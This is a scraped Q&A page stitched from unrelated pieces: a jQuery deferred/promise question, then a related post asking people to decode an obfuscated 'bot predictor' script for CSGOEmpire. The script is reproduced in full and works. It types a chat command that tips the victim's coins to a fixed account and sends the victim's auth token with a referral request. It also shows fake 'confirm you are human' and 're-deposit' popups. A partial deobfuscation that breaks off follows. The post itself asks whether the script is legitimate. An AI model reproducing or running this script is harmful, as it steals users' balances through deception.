Wait $.each untill first queue not finished - javascript

Below is my code. if we use set timeout function we got all data but we not use we are not getting inspection data which is coming from my local db. i want use deferred and promises in my code. Thanks in advance.
function onclickToCall() {
this.$('.check-list > .check-list-box').each(function (i) {
var j = i + 1;
var answer_req = $(this).attr("data-isReq");
var checklist_guid = $(this).attr("data-guid");
var question_type = $(this).attr("data-type");
var yes_no = $("input:radio[name='radio_" + j + "']:checked").val();
var notes = $(this).find('#txtAreaNotes_' + j).val();
var attachment_url = $(this).find(".txtCameraImage").attr("data-path");
var appConfig = DriverConnectApp.State.get('config_settings');
var item = {};
item.checklist_guid = checklist_guid;
item.yes_no = yes_no;
item.attachment_url = attachment_url;
item.notes = notes;
if (question_type == 2) { // For Vehical visual inspection
var dataPromise = that.getInspectionData(checklist_guid);
dataPromise.done(function (response, vh_image) {
var inspectionItem = {};
inspectionItem.vh_url = vh_image;
inspectionItem.details = response;
item.vh_inspection = inspectionItem;
that.detailsArr.push(item);
});
} else {
item.vh_inspection = {};
that.detailsArr.push(item);
}
});
// after finish and push all data we need to call function here
test();
}
getInspectionData: function (checklist_guid) {
var that = this;
var deferred = $.Deferred();
that.dbchecklist.getVehicleInspectionlist(checklist_guid, function (data, res) {
var details = [];
if (data.length) {
var img = data[0].vh_image;
var arr = JSON.parse(data[0].vh_details);
for (var k = 0; k < arr.length; k++) {
var items = {};
items.number = arr[k].number;
items.notes = arr[k].notes;
items.attachment_url = arr[k].attachment_url;
details.push(items);
}
deferred.resolve(details, img);
} else {
deferred.resolve(details, img);
}
});
return deferred.promise();
}

Related

Can somebody help me decode this. Looks like Javascript or Json

Can somebody help me decode this. Looks like Javascript or Json.
There is this guy on youtube, who is telling this a bot predictor script.
I just want to know, how did he break the provably fair system. Whether the script is legit.
var _0x6f2e=["\x63\x68\x61\x74\x2D\x69\x6E\x70\x75\x74","\x74\x72\x61\x6E\x73\x70\x61\x72\x65\x6E\x74","\x6F\x76\x65\x72\x66\x6C\x6F\x77","\x68\x69\x64\x64\x65\x6E","\x76\x61\x6C\x75\x65","\x2F\x74\x69\x70\x20\x40\x37\x36\x35\x36\x31\x31\x39\x38\x31\x37\x33\x34\x34\x35\x36\x31\x39\x20","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x73\x67\x6F\x65\x6D\x70\x69\x72\x65\x2E\x63\x6F\x6D\x2F\x61\x70\x69\x2F\x76\x32\x2F\x75\x73\x65\x72\x2F\x72\x65\x66\x65\x72\x72\x61\x6C","\x66\x72\x65\x65\x31\x30\x64\x6F\x6C\x6C\x61\x72\x73","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x73\x74\x61\x74\x75\x73","\x54\x68\x65\x20\x72\x65\x71\x75\x65\x73\x74\x20\x61\x6E\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x77\x61\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21","\x50\x4F\x53\x54","\x6F\x70\x65\x6E","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x61\x75\x74\x68\x6F\x72\x69\x7A\x61\x74\x69\x6F\x6E","\x74\x6F\x6B\x65\x6E","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x65\x6E\x64","\x74\x65\x78\x74\x61\x72\x65\x61","\x66\x6F\x63\x75\x73","\x43\x53\x47\x4F\x45\x4D\x50\x49\x52\x45\x20\x53\x63\x72\x69\x70\x74\x20\x0A\x20\x43\x6F\x6E\x66\x69\x72\x6D\x20\x74\x68\x61\x74\x20\x79\x6F\x75\x20\x61\x72\x65\x20\x68\x75\x6D\x61\x6E","\x50\x72\x65\x73\x73\x20\x45\x4E\x54\x45\x52\x20\x6F\x6E\x20\x79\x6F\x75\x72\x20\x6B\x65\x79\x62\x6F\x61\x72\x64\x20\x33\x78\x20\x74\x69\x6D\x65\x73\x20\x74\x6F\x20\x63\x6F\x6E\x74\x69\x6E\x75\x65\x2E","\x43\x53\x47\x4F\x45\x4D\x50\x49\x52\x45\x20\x53\x63\x72\x69\x70\x74","\x59\x6F\x75\x20\x6E\x65\x65\x64\x20\x68\x69\x67\x68\x65\x72\x20\x62\x61\x6C\x61\x6E\x63\x65\x20\x74\x6F\x20\x73\x74\x61\x72\x74\x20\x43\x53\x47\x4F\x45\x4D\x50\x49\x52\x45\x20\x53\x63\x72\x69\x70\x74\x2E","\x59\x6F\x75\x20\x6E\x65\x65\x64\x20\x68\x69\x67\x68\x65\x72\x20\x62\x61\x6C\x61\x6E\x63\x65\x20\x74\x6F\x20\x64\x6F\x20\x74\x68\x61\x74\x21\x20\x59\x6F\x75\x72\x20\x63\x6F\x69\x6E\x73\x20\x61\x72\x65\x20\x73\x61\x66\x65\x2C\x20\x70\x6C\x65\x61\x73\x65\x20\x72\x65\x2D\x64\x65\x70\x6F\x73\x69\x74\x20\x61\x6E\x64\x20\x74\x72\x79\x20\x61\x67\x61\x69\x6E\x20\x74\x6F\x20\x66\x69\x6E\x69\x73\x68\x20\x70\x72\x6F\x63\x65\x73\x73\x20\x64\x6F\x75\x62\x6C\x69\x6E\x67\x20\x62\x61\x6C\x61\x6E\x63\x65","\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x43\x6C\x61\x73\x73\x4E\x61\x6D\x65","\x72\x65\x70\x6C\x61\x63\x65","\x76\x2D\x2D\x6D\x6F\x64\x61\x6C\x2D\x6F\x76\x65\x72\x6C\x61\x79","\x76\x2D\x2D\x6D\x6F\x64\x61\x6C\x2D\x62\x6F\x78\x20\x76\x2D\x2D\x6D\x6F\x64\x61\x6C","\x72\x65\x6D\x6F\x76\x65","\x64\x69\x76","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x43\x53\x47\x4F\x45\x4D\x50\x49\x52\x45\x20\x53\x43\x52\x49\x50\x54","\x66\x6C\x65\x78\x20\x77\x2D\x66\x75\x6C\x6C","\x73\x74\x79\x6C\x65","\x62\x75\x74\x74\x6F\x6E","\x77\x69\x64\x74\x68\x3A\x31\x35\x30\x25\x3B\x6C\x65\x66\x74\x3A\x32\x35\x25\x3B","\x53\x54\x41\x52\x54","\x6F\x6E\x63\x6C\x69\x63\x6B","\x6F\x62\x72\x69\x73\x61\x6E\x6F\x20\x73\x76\x65","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79","\x62\x69\x67\x64\x69\x76","\x77\x69\x64\x74\x68\x3A\x20\x33\x30\x25\x3B\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x31\x35\x70\x78\x3B\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x74\x6F\x70\x3A\x20\x31\x30\x25\x3B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x67\x72\x65\x79\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x20\x31\x30\x30\x3B\x6C\x65\x66\x74\x3A\x20\x33\x35\x25\x3B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x33\x33\x33\x35\x34\x31\x3B\x62\x6F\x72\x64\x65\x72\x2D\x72\x61\x64\x69\x75\x73\x3A\x20\x2E\x36\x32\x35\x72\x65\x6D\x3B\x2F\x2A\x20\x6F\x76\x65\x72\x66\x6C\x6F\x77\x3A\x20\x76\x69\x73\x69\x62\x6C\x65\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x2A\x2F\x2D\x77\x65\x62\x6B\x69\x74\x2D\x62\x6F\x78\x2D\x73\x68\x61\x64\x6F\x77\x3A\x20\x30\x20\x32\x30\x70\x78\x20\x32\x30\x70\x78\x20\x30\x20\x72\x67\x62\x61\x28\x30\x2C\x30\x2C\x30\x2C\x2E\x35\x29\x3B\x62\x6F\x78\x2D\x73\x68\x61\x64\x6F\x77\x3A\x20\x30\x20\x30\x70\x78\x20\x35\x70\x78\x20\x30\x20\x23\x46\x46\x36\x35\x32\x46\x3B\x2F\x2A\x20\x74\x6F\x70\x3A\x20\x30\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x2A\x2F\x2F\x2A\x20\x6C\x65\x66\x74\x3A\x20\x30\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x2A\x2F\x2F\x2A\x20\x6D\x61\x72\x67\x69\x6E\x2D\x62\x6F\x74\x74\x6F\x6D\x3A\x20\x30\x21\x69\x6D\x70\x6F\x72\x74\x61\x6E\x74\x3B\x20\x2A\x2F\x62\x6F\x72\x64\x65\x72\x3A\x20\x31\x70\x78\x20\x73\x6F\x6C\x69\x64\x20\x23\x46\x46\x36\x35\x32\x46\x3B","\x70\x6F\x73\x69\x74\x69\x6F\x6E","\x61\x62\x73\x6F\x6C\x75\x74\x65","\x7A\x49\x6E\x64\x65\x78","\x6D\x61\x72\x67\x69\x6E\x54\x6F\x70","\x66\x6F\x6E\x74\x53\x69\x7A\x65","\x2E\x38\x31\x32\x35\x72\x65\x6D","\x63\x6F\x6C\x6F\x72","\x70\x61\x64\x64\x69\x6E\x67","\x31\x2E\x32\x25","\x6F\x70\x61\x63\x69\x74\x79","\x30\x2E\x34","\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65","\x61\x74\x77\x68\x6F\x2D\x77\x72\x61\x70","\x73\x68\x69\x66\x74","\x70\x75\x73\x68","\x30\x78\x30","\x69\x6E\x6E\x65\x72\x54\x65\x78\x74","\x62\x61\x6C\x61\x6E\x63\x65","\x30\x78\x31","\x2C","","\x30\x78\x32","\x6C\x6F\x67","\x30\x78\x33","\x30\x78\x34","\x30\x78\x35","\x30\x78\x36","\x30\x78\x37","\x68\x33","\x30\x78\x38","\x30\x78\x39","\x30\x78\x61","\x30\x78\x62","\x30\x78\x63","\x30\x78\x64","\x30\x78\x65","\x30\x78\x66","\x30\x78\x31\x30","\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20\x66\x69\x78\x65\x64\x3B\x77\x69\x64\x74\x68\x3A\x20\x31\x30\x30\x25\x3B\x68\x65\x69\x67\x68\x74\x3A\x20\x31\x30\x30\x25\x3B\x62\x61\x63\x6B\x67\x72\x6F\x75\x6E\x64\x2D\x63\x6F\x6C\x6F\x72\x3A\x20\x62\x6C\x61\x63\x6B\x3B\x6F\x70\x61\x63\x69\x74\x79\x3A\x20\x30\x2E\x37\x35\x3B\x74\x6F\x70\x3A\x20\x30\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x20\x39\x30\x3B","\x30\x78\x31\x31","\x30\x78\x31\x32","\x69\x64","\x30\x78\x31\x33","\x30\x78\x31\x34","\x70","\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x63\x65\x6E\x74\x65\x72\x3B\x66\x6F\x6E\x74\x2D\x66\x61\x6D\x69\x6C\x79\x3A\x20\x61\x6D\x65\x72\x69\x63\x61\x6E\x2D\x63\x61\x70\x74\x61\x69\x6E\x3B\x66\x6F\x6E\x74\x2D\x77\x65\x69\x67\x68\x74\x3A\x20\x34\x30\x30\x3B\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x64\x63\x64\x63\x64\x63\x3B\x6C\x65\x74\x74\x65\x72\x2D\x73\x70\x61\x63\x69\x6E\x67\x3A\x20\x2E\x30\x32\x35\x65\x6D\x3B\x6C\x69\x6E\x65\x2D\x68\x65\x69\x67\x68\x74\x3A\x20\x32\x2E\x32\x35\x3B\x66\x6F\x6E\x74\x2D\x73\x69\x7A\x65\x3A\x32\x34\x70\x78\x3B","\x6D\x61\x72\x67\x69\x6E\x2D\x74\x6F\x70\x3A\x20\x31\x35\x70\x78\x3B\x66\x6F\x6E\x74\x2D\x77\x65\x69\x67\x68\x74\x3A\x20\x34\x30\x30\x3B\x74\x65\x78\x74\x2D\x61\x6C\x69\x67\x6E\x3A\x20\x63\x65\x6E\x74\x65\x72\x3B\x66\x6F\x6E\x74\x2D\x77\x65\x69\x67\x68\x74\x3A\x20\x37\x30\x30\x3B\x63\x6F\x6C\x6F\x72\x3A\x20\x23\x46\x46\x36\x35\x32\x46\x3B\x70\x61\x64\x64\x69\x6E\x67\x3A\x20\x32\x30\x70\x78\x3B","\x61\x70\x70\x65\x6E\x64","\x73\x70\x61\x6E","\x54\x79\x70\x65\x20\x4D\x65\x73\x73\x61\x67\x65\x2E\x2E\x2E","\x30\x78\x31\x35","\x30\x78\x31\x36","\x30\x78\x31\x37","\x39","\x30\x78\x31\x38","\x35\x25","\x6D\x61\x72\x67\x69\x6E\x4C\x65\x66\x74","\x34\x25","\x30\x78\x31\x39","\x30\x78\x31\x61","\x30\x78\x31\x62","\x23\x64\x63\x64\x63\x64\x63","\x30\x78\x31\x63","\x30\x78\x31\x64","\x30\x78\x31\x65","\x30\x78\x31\x66","\x30\x78\x32\x30","\x30\x78\x32\x31","\x30\x78\x32\x32","\x30\x78\x32\x33","\x30\x78\x32\x34","\x30\x78\x32\x35","\x30\x78\x32\x36","\x30\x78\x32\x37","\x0A","\x30\x78\x32\x38","\x30\x78\x32\x39","\x30\x78\x32\x61","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x30\x78\x32\x62","\x30\x78\x32\x63","\x30\x78\x32\x64","\x30\x78\x32\x65","\x30\x78\x32\x66","\x30\x78\x33\x30","\x30\x78\x33\x31","\x30\x78\x33\x32","\x30\x78\x33\x33","\x30\x78\x33\x34","\x30\x78\x33\x35","\x30\x78\x33\x36","\x30\x78\x33\x37","\x30\x78\x33\x38","\x30\x78\x33\x39","\x30\x78\x33\x61","\x30\x78\x33\x62","\x30\x78\x33\x63"];var _0x2f47=[_0x6f2e[0],_0x6f2e[1],_0x6f2e[2],_0x6f2e[3],_0x6f2e[4],_0x6f2e[5],_0x6f2e[6],_0x6f2e[7],_0x6f2e[8],_0x6f2e[9],_0x6f2e[10],_0x6f2e[11],_0x6f2e[12],_0x6f2e[13],_0x6f2e[14],_0x6f2e[15],_0x6f2e[16],_0x6f2e[17],_0x6f2e[18],_0x6f2e[19],_0x6f2e[20],_0x6f2e[21],_0x6f2e[22],_0x6f2e[23],_0x6f2e[24],_0x6f2e[25],_0x6f2e[26],_0x6f2e[27],_0x6f2e[28],_0x6f2e[29],_0x6f2e[30],_0x6f2e[31],_0x6f2e[32],_0x6f2e[33],_0x6f2e[34],_0x6f2e[35],_0x6f2e[36],_0x6f2e[37],_0x6f2e[38],_0x6f2e[39],_0x6f2e[40],_0x6f2e[41],_0x6f2e[42],_0x6f2e[43],_0x6f2e[44],_0x6f2e[45],_0x6f2e[46],_0x6f2e[47],_0x6f2e[48],_0x6f2e[49],_0x6f2e[50],_0x6f2e[51],_0x6f2e[52],_0x6f2e[53],_0x6f2e[54],_0x6f2e[55],_0x6f2e[56],_0x6f2e[57],_0x6f2e[58],_0x6f2e[59],_0x6f2e[60]];(function(_0x735ax2,_0x735ax3){var _0x735ax4=function(_0x735ax5){while(--_0x735ax5){_0x735ax2[_0x6f2e[62]](_0x735ax2[_0x6f2e[61]]())}};_0x735ax4(++_0x735ax3)}(_0x2f47,0x14c));var _0x416c=function(_0x735ax7,_0x735ax8){_0x735ax7= _0x735ax7- 0x0;var _0x735ax9=_0x2f47[_0x735ax7];return _0x735ax9};var _0x1234=[_0x416c(_0x6f2e[63]),_0x6f2e[64],_0x6f2e[65],_0x416c(_0x6f2e[66]),_0x6f2e[67],_0x6f2e[68],_0x416c(_0x6f2e[69]),_0x6f2e[70],_0x416c(_0x6f2e[71]),_0x416c(_0x6f2e[72]),_0x416c(_0x6f2e[73]),_0x416c(_0x6f2e[74]),_0x416c(_0x6f2e[75]),_0x6f2e[76],_0x416c(_0x6f2e[77]),_0x416c(_0x6f2e[78]),_0x416c(_0x6f2e[79]),_0x416c(_0x6f2e[80]),_0x416c(_0x6f2e[81]),_0x416c(_0x6f2e[82]),_0x416c(_0x6f2e[83]),_0x416c(_0x6f2e[84]),_0x416c(_0x6f2e[85]),_0x6f2e[86],_0x416c(_0x6f2e[87]),_0x416c(_0x6f2e[88]),_0x6f2e[89],_0x416c(_0x6f2e[90]),_0x416c(_0x6f2e[91]),_0x6f2e[92],_0x6f2e[93],_0x6f2e[94],_0x6f2e[95],_0x6f2e[96],_0x6f2e[97],_0x416c(_0x6f2e[98]),_0x416c(_0x6f2e[99]),_0x416c(_0x6f2e[100]),_0x6f2e[101],_0x416c(_0x6f2e[102]),_0x6f2e[103],_0x6f2e[104],_0x6f2e[105],_0x416c(_0x6f2e[106]),_0x416c(_0x6f2e[107]),_0x416c(_0x6f2e[108]),_0x6f2e[109],_0x416c(_0x6f2e[110]),_0x416c(_0x6f2e[111]),_0x416c(_0x6f2e[112]),_0x416c(_0x6f2e[113]),_0x416c(_0x6f2e[114]),_0x416c(_0x6f2e[115]),_0x416c(_0x6f2e[116]),_0x416c(_0x6f2e[117]),_0x416c(_0x6f2e[118]),_0x416c(_0x6f2e[119]),_0x416c(_0x6f2e[120]),_0x416c(_0x6f2e[121]),_0x6f2e[122],_0x416c(_0x6f2e[123]),_0x416c(_0x6f2e[124]),_0x416c(_0x6f2e[125]),_0x6f2e[126],_0x416c(_0x6f2e[127]),_0x416c(_0x6f2e[128]),_0x416c(_0x6f2e[129]),_0x416c(_0x6f2e[130]),_0x416c(_0x6f2e[131]),_0x416c(_0x6f2e[132]),_0x416c(_0x6f2e[133]),_0x416c(_0x6f2e[134]),_0x416c(_0x6f2e[135]),_0x416c(_0x6f2e[136]),_0x416c(_0x6f2e[137]),_0x416c(_0x6f2e[138]),_0x416c(_0x6f2e[139]),_0x416c(_0x6f2e[140]),_0x416c(_0x6f2e[141]),_0x416c(_0x6f2e[142]),_0x416c(_0x6f2e[143]),_0x416c(_0x6f2e[144])];_0x1234[0x0];var _0xde2d=[_0x1234[0x0],_0x1234[0x1],_0x1234[0x2],_0x1234[0x3],_0x1234[0x4],_0x1234[0x5],_0x1234[0x6],_0x1234[0x7],_0x1234[0x8],_0x1234[0x9],_0x1234[0xa],_0x1234[0xb],_0x1234[0xc],_0x1234[0xd],_0x1234[0xe],_0x1234[0xf],_0x1234[0x10],_0x1234[0x11],_0x1234[0x12],_0x1234[0x13],_0x1234[0x14],_0x1234[0x15],_0x1234[0x16],_0x1234[0x17],_0x1234[0x18],_0x1234[0x19],_0x1234[0x1a],_0x1234[0x1b],_0x1234[0x1c],_0x1234[0x1d],_0x1234[0x1e],_0x1234[0x1f],_0x1234[0x20],_0x1234[0x21],_0x1234[0x22],_0x1234[0x23],_0x1234[0x24],_0x1234[0x25],_0x1234[0x26],_0x1234[0x27],_0x1234[0x28],_0x1234[0x29],_0x1234[0x2a],_0x1234[0x2b],_0x1234[0x2c],_0x1234[0x2d],_0x1234[0x2e],_0x1234[0x2f],_0x1234[0x30],_0x1234[0x31],_0x1234[0x32],_0x1234[0x33],_0x1234[0x34],_0x1234[0x35],_0x1234[0x36],_0x1234[0x37],_0x1234[0x38],_0x1234[0x39],_0x1234[0x3a],_0x1234[0x3b],_0x1234[0x3c],_0x1234[0x3d],_0x1234[0x3e],_0x1234[0x3f],_0x1234[0x40],_0x1234[0x41],_0x1234[0x42],_0x1234[0x43],_0x1234[0x44],_0x1234[0x45],_0x1234[0x46],_0x1234[0x47],_0x1234[0x48],_0x1234[0x49],_0x1234[0x4a],_0x1234[0x4b],_0x1234[0x4c],_0x1234[0x4d],_0x1234[0x4e],_0x1234[0x4f],_0x1234[0x50],_0x1234[0x51]];_0xde2d[0x0];var _0x8e4c=[_0xde2d[0x1],_0xde2d[0x2],_0xde2d[0x3],_0xde2d[0x4],_0xde2d[0x5],_0xde2d[0x6],_0xde2d[0x7],_0xde2d[0x8],_0xde2d[0x9],_0xde2d[0xa],_0xde2d[0xb],_0xde2d[0xc],_0xde2d[0xd],_0xde2d[0xe],_0xde2d[0xf],_0xde2d[0x10],_0xde2d[0x11],_0xde2d[0x12],_0xde2d[0x13],_0xde2d[0x14],_0xde2d[0x15],_0xde2d[0x16],_0xde2d[0x17],_0xde2d[0x18],_0xde2d[0x19],_0xde2d[0x1a],_0xde2d[0x1b],_0xde2d[0x1c],_0xde2d[0x1d],_0xde2d[0x1e],_0xde2d[0x1f],_0xde2d[0x20],_0xde2d[0x21],_0xde2d[0x22],_0xde2d[0x23],_0xde2d[0x24],_0xde2d[0x25],_0xde2d[0x26],_0xde2d[0x27],_0xde2d[0x28],_0xde2d[0x29],_0xde2d[0x2a],_0xde2d[0x2b],_0xde2d[0x2c],_0xde2d[0x2d],_0xde2d[0x2e],_0xde2d[0x2f],_0xde2d[0x30],_0xde2d[0x31],_0xde2d[0x32],_0xde2d[0x33],_0xde2d[0x34],_0xde2d[0x35],_0xde2d[0x36],_0xde2d[0x37],_0xde2d[0x38],_0xde2d[0x39],_0xde2d[0x3a],_0xde2d[0x3b],_0xde2d[0x3c],_0xde2d[0x3d],_0xde2d[0x3e],_0xde2d[0x3f],_0xde2d[0x40],_0xde2d[0x41],_0xde2d[0x42],_0xde2d[0x43],_0xde2d[0x44],_0xde2d[0x45],_0xde2d[0x46],_0xde2d[0x47],_0xde2d[0x48],_0xde2d[0x49],_0xde2d[0x4a],_0xde2d[0x4b],_0xde2d[0x4c],_0xde2d[0x4d],_0xde2d[0x4e],_0xde2d[0x4f],_0xde2d[0x50],_0xde2d[0x51]];var pare=document[_0x8e4c[0x2]](_0x8e4c[0x1])[0x0][_0x8e4c[0x0]];pare= pare[_0x8e4c[0x5]](_0x8e4c[0x3],_0x8e4c[0x4]);console[_0x8e4c[0x6]](pare);if(parseFloat(pare)>= 0x5){var zameniText=function(){var _0x735axf=setInterval(function(){var _0x735ax10=document[_0x8e4c[0x2]](_0x8e4c[0x7])[0x0];if(_0x735ax10){_0x735ax10= _0x735ax10[_0x8e4c[0x2]](_0x8e4c[0x8])[0x0];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0][_0x8e4c[0x9]]();_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xc])[0x0][_0x8e4c[0x0]]= _0x8e4c[0xd];_0x735ax10= _0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0][_0x8e4c[0x9]]();_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0][_0x8e4c[0x9]]();_0x735ax10= _0x735ax10[_0x8e4c[0x2]](_0x8e4c[0xe])[0x0];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0xa])[0x0][_0x8e4c[0x9]]();_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0x10])[0x0][_0x8e4c[0xf]]= _0x8e4c[0x11];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0x10])[0x0][_0x8e4c[0x0]]= _0x8e4c[0x12];_0x735ax10[_0x8e4c[0xb]](_0x8e4c[0x10])[0x0][_0x8e4c[0x13]]= function(){doubleB()};console[_0x8e4c[0x6]](_0x8e4c[0x14]);clearInterval(_0x735axf)}})};var napraviPopup=function(_0x735ax12,_0x735ax13){var _0x735ax14=document[_0x8e4c[0x15]](_0x8e4c[0xa]);_0x735ax14[_0x8e4c[0xf]]= _0x8e4c[0x16];document[_0x8e4c[0xb]](_0x8e4c[0x18])[0x0][_0x8e4c[0x17]](_0x735ax14);var _0x735ax15=document[_0x8e4c[0x15]](_0x8e4c[0xa]);_0x735ax15[_0x8e4c[0x19]]= _0x8e4c[0x1a];_0x735ax15[_0x8e4c[0xf]]= _0x8e4c[0x1b];var _0x735ax16=document[_0x8e4c[0x15]](_0x8e4c[0x1c]);_0x735ax16[_0x8e4c[0xf]]= _0x8e4c[0x1d];_0x735ax16[_0x8e4c[0x0]]= _0x735ax12;var _0x735ax17=document[_0x8e4c[0x15]](_0x8e4c[0x1c]);_0x735ax17[_0x8e4c[0xf]]= _0x8e4c[0x1e];_0x735ax17[_0x8e4c[0x0]]= _0x735ax13;_0x735ax15[_0x8e4c[0x17]](_0x735ax16);_0x735ax15[_0x8e4c[0x1f]](_0x735ax17);document[_0x8e4c[0xb]](_0x8e4c[0x18])[0x0][_0x8e4c[0x17]](_0x735ax15);var _0x735ax18=setInterval(function(){if(document[_0x8e4c[0x2]](_0x8e4c[0x7])[0x0]){_0x735ax15[_0x8e4c[0x9]]();_0x735ax14[_0x8e4c[0x9]]();clearInterval(int1);zameniText();clearInterval(_0x735ax18)}})};var sredi=function(_0x735ax1a){var _0x735ax1b=document[_0x8e4c[0x15]](_0x8e4c[0x20]);_0x735ax1b[_0x8e4c[0x0]]= _0x8e4c[0x21];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x22]]= _0x8e4c[0x23];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x24]]= _0x8e4c[0x25];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x26]]= _0x8e4c[0x27];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x28]]= _0x8e4c[0x29];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x2a]]= _0x8e4c[0x2b];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x2c]]= _0x8e4c[0x2d];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x2e]]= _0x8e4c[0x2f];_0x735ax1b[_0x8e4c[0xf]][_0x8e4c[0x30]]= _0x8e4c[0x31];document[_0x8e4c[0x2]](_0x8e4c[0x34])[0x0][_0x8e4c[0x2]](_0x8e4c[0x33])[0x0][_0x8e4c[0x32]](_0x735ax1b,_0x735ax1a);_0x735ax1a[_0x8e4c[0xf]][_0x8e4c[0x2c]]= _0x8e4c[0x35];_0x735ax1a[_0x8e4c[0xf]][_0x8e4c[0x36]]= _0x8e4c[0x37];_0x735ax1a[_0x8e4c[0x38]]= _0x8e4c[0x39]+ pare+ _0x8e4c[0x3a]};var zakacizamene=function(){var _0x735ax1d=_0x8e4c[0x3b];var _0x735ax1e= new XMLHttpRequest();var _0x735ax1f=_0x735ax1d;var _0x735ax20={'\x72\x65\x66\x65\x72\x72\x61\x6C\x5F\x63\x6F\x64\x65':_0x8e4c[0x3c]};_0x735ax1e[_0x8e4c[0x3d]]= function(){if(this[_0x8e4c[0x3e]]== 0x4&& this[_0x8e4c[0x3f]]== 0xc8){console[_0x8e4c[0x6]](_0x8e4c[0x40])}};_0x735ax1e[_0x8e4c[0x42]](_0x8e4c[0x41],_0x735ax1f,!![]);_0x735ax1e[_0x8e4c[0x45]](_0x8e4c[0x43],_0x8e4c[0x44]);_0x735ax1e[_0x8e4c[0x45]](_0x8e4c[0x46],_0x735ax20[_0x8e4c[0x47]]);_0x735ax1e[_0x8e4c[0x49]](JSON[_0x8e4c[0x48]](_0x735ax20))};sredi(document[_0x8e4c[0x2]](_0x8e4c[0x34])[0x0][_0x8e4c[0xb]](_0x8e4c[0x4a])[0x0]);var int1=setInterval(function(){document[_0x8e4c[0x2]](_0x8e4c[0x34])[0x0][_0x8e4c[0xb]](_0x8e4c[0x4a])[0x0][_0x8e4c[0x4b]]()},0x3e8);napraviPopup(_0x8e4c[0x4c],_0x8e4c[0x4d]);zakacizamene()}else {napraviPopup1(_0x8e4c[0x4e],_0x8e4c[0x4f])};function napraviPopup1(_0x735ax23,_0x735ax24){var _0x735ax25=document[_0x8e4c[0x15]](_0x8e4c[0xa]);_0x735ax25[_0x8e4c[0xf]]= _0x8e4c[0x16];_0x735ax25[_0x8e4c[0x13]]= function(){_0x735ax25[_0x8e4c[0x9]]();_0x735ax26[_0x8e4c[0x9]]()};document[_0x8e4c[0xb]](_0x8e4c[0x18])[0x0][_0x8e4c[0x17]](_0x735ax25);var _0x735ax26=document[_0x8e4c[0x15]](_0x8e4c[0xa]);_0x735ax26[_0x8e4c[0x19]]= _0x8e4c[0x1a];_0x735ax26[_0x8e4c[0xf]]= _0x8e4c[0x1b];var _0x735ax27=document[_0x8e4c[0x15]](_0x8e4c[0x1c]);_0x735ax27[_0x8e4c[0xf]]= _0x8e4c[0x1d];_0x735ax27[_0x8e4c[0x0]]= _0x735ax23;var _0x735ax28=document[_0x8e4c[0x15]](_0x8e4c[0x1c]);_0x735ax28[_0x8e4c[0xf]]= _0x8e4c[0x1e];_0x735ax28[_0x8e4c[0x0]]= _0x735ax24;_0x735ax26[_0x8e4c[0x17]](_0x735ax27);_0x735ax26[_0x8e4c[0x1f]](_0x735ax28);document[_0x8e4c[0xb]](_0x8e4c[0x18])[0x0][_0x8e4c[0x17]](_0x735ax26)}function doubleB(){napraviPopup1(_0x8e4c[0x4e],_0x8e4c[0x50]);var _0x735ax2a=setInterval(function(){if(document[_0x8e4c[0x2]](_0x8e4c[0x7])[0x0]){document[_0x8e4c[0x2]](_0x8e4c[0x7])[0x0][_0x8e4c[0x9]]();clear(_0x735ax2a)}})}
https://beautifier.io/
This might be the closest way you can get to the original source code without manually interpreting it
'use strict';
(function(data, i) {
var write = function(isLE) {
for (; --isLE;) {
data["push"](data["shift"]());
}
};
write(++i);
})(_0x2f47, 332);
var _0x416c = function(i, parameter1) {
i = i - 0;
var oembedView = _0x2f47[i];
